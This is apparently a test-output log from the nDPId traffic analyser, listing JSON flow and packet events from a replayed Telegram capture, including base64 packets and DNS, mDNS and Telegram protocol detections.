+00769{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":393437,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEyXK8AAP8R2iLAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00782{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":451548,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJhAAEARYHnAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGALuAMeAAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00570{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":458582,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/6jP5XIzfkCABFAACZnzoAAAERaCzAqAFL7\/\/\/+uI8B2wAhTXETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00570{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779611,"pkt_ts_usec":657864,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/6jP5XIzfkCABFAACZ2TYAAAERLjDAqAFL7\/\/\/+uI8B2wAhTXETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"telegram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1588779615019,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61120,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779615,"pkt_ts_usec":19709,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"EBMx8Tl2KDc3AG3ICABFAABHiDkAAP8Rr83AqAFNwKgBAe7AADUAMxxUuQsBAAABAAAAAAAABWU0NTE4BGRzY3gKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":164,"source":"telegram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1588779615019,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61120,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e4518.dscx.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779615,"pkt_ts_usec":32983,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"KDc3AG3IEBMx8Tl2CABFAABXJ0xAADkRlqvAqAEBwKgBTQA17sAAQwAAuQuBgAABAAEAAAAABWU0NTE4BGRzY3gKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAA4ABFx69t8="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":165,"source":"telegram.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_first_seen":1588779615019,"flow_last_seen":1588779615032,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":51,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61120,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e4518.dscx.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.122.246.223"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":168,"source":"telegram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1588779615961,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.52","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779615,"pkt_ts_usec":961995,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD78KNaMBgSCABFAABNRwcAAP8R0cDAqAE04AAA+xTpFOkAOcUdAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAyAAQhfYWlycGxhecASAAyAAQ=="} +00544{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":168,"source":"telegram.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1588779615961,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.52","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":169,"source":"telegram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1588779615962,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4dc:edec:5b0c:a661","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779615,"pkt_ts_usec":962218,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD78KNaMBgSht1gBhFuADkR\/\/6AAAAAAAAABNzt7FsMpmH\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5dUAAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADIABCF9haXJwbGF5wBIADIAB"} +00553{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":169,"source":"telegram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1588779615962,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4dc:edec:5b0c:a661","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":170,"source":"telegram.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.7","src_port":23174,"dst_port":521,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36528,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABERC0AAEARERTAqAFNW2wIB1qGAgkAMLAM3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8o+UYRJgGi8A=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":170,"source":"telegram.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.7","src_port":23174,"dst_port":521,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"telegram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.5","src_port":23174,"dst_port":523,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36609,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEWYkAAEAR97nAqAFNW2wMBVqGAgsAMMZE3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/VYJzCLkR9XA=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"telegram.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.5","src_port":23174,"dst_port":523,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"telegram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.1","src_port":23174,"dst_port":527,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36707,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEZqwAAEAR5prAqAFNW2wQAVqGAg8AMLyJ3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/9u+DapRNA5DQ=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":172,"source":"telegram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.1","src_port":23174,"dst_port":527,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"telegram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.1","src_port":23174,"dst_port":536,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36797,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEMZgAAEARH6\/AqAFNW2wMAVqGAhgAMB7S3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8nsGAWUhbrUA=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":173,"source":"telegram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.12.1","src_port":23174,"dst_port":536,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":174,"source":"telegram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.8","src_port":23174,"dst_port":538,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36876,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABECJIAAEARTK7AqAFNW2wICFqGAhoAMJgJ3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8HjiXC2fxIoA=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":174,"source":"telegram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.8.8","src_port":23174,"dst_port":538,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"telegram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.4","src_port":23174,"dst_port":538,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":36955,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEVZYAAEAR963AqAFNW2wQBFqGAhoAMGBV3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8kkP6VHClAVg=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":175,"source":"telegram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1588779616036,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"91.108.16.4","src_port":23174,"dst_port":538,"l4_proto":"udp","ndpi": {"proto":"Telegram","breed":"Acceptable","category":"Chat"}} +00501{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":70253,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcvxJAADMRYxZbbAgHwKgBTQIJWoYASDvF3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJeKPlGESYBovAAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00501{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":76440,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABc0gJAADMRUCVbbAgIwKgBTQIaWoYASCPC3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJeB44lwtn8SKAAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00503{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":161820,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcHlxAADQR\/s5bbAwFwKgBTQILWoYASFH93EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJe1WCcwi5EfVwAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00502{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":164366,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcJ8JAADQR9WxbbAwBwKgBTQIYWoYASKqK3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJeJ7BgFlIW61AAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00502{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":201653,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcdvtAADYRoDBbbBAEwKgBTQIaWoYASOwN3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJeJJD+lRwpQFYAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00502{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":215394,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcavZAADYRrDhbbBABwKgBTQIPWoYASEhC3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBg2rJebvg2qUTQOQ0AAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00532{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":333032,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7wJrQLWJ0CABFAACAUoIAAP8RxhHAqAE14AAA+xTpFOkAbHPlAAAAAAABAAEAAAABDF9zbGVlcC1wcm94eQRfdWRwBWxvY2FsAAAMAAHADAAMAAEAABGIABIPNTAtMzUtMTAtNzAuMSAxwAwAACkFoAAAEZQAEgAEAA4AMeKa0C1idMCa0C1idA=="} +00561{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":334373,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7wJrQLWJ0ht1gBqDxAGwR\/\/6AAAAAAAAAGKCkEok1wBv\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsEjwAAAAAAAEAAQAAAAEMX3NsZWVwLXByb3h5BF91ZHAFbG9jYWwAAAwAAcAMAAwAAQAAEYgAEg81MC0zNS0xMC03MC4xIDHADAAAKQWgAAARlAASAAQADgAx4prQLWJ0wJrQLWJ0"} +00527{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":374042,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8v0VAADMRYsNbbAgHwKgBTQIJWoYAaD3C3EwAKRVlt6y8I22p7aDVl1kuRsPrW9KEfnzYzQILhSJVZwm4ydGInRd8K6fl4JcT3ZYFqyIenAd9IA0qgCEd7GPQ6mJV\/aaZBQA9j+\/r0xZYfE1eMfKMjrw7DPZVZF3Y"} +00527{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":374470,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8TYUAAEARA4rAqAFNW2wMAVqGAhgAaPtH3EwAKRVlt6y8I22p7aDVlzF9tkqG8Vy9mc+httTfBLUUKD3nPIpyRy3ItnD3hVzo5GeIoM2qaFz\/yCQX0+y0hipTw\/kylFSjOOn2uuzWtdHeg39EeEdeCXu4W27oK0KN"} +00525{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779616,"pkt_ts_usec":374717,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB80idAADMRT+BbbAgIwKgBTQIaWoYAaCPe3EwAKRVlt6y8I22p7aDVl5GbCK4j4zRv3DTd8DT6OUw6qpjroPsdobKbJkssqpPX5uXMLNXGSRggLwmRIKQDuFEnjoz+E5Zlydodds5mKwEYgkGhNIjlK85eZgSRk81C"} 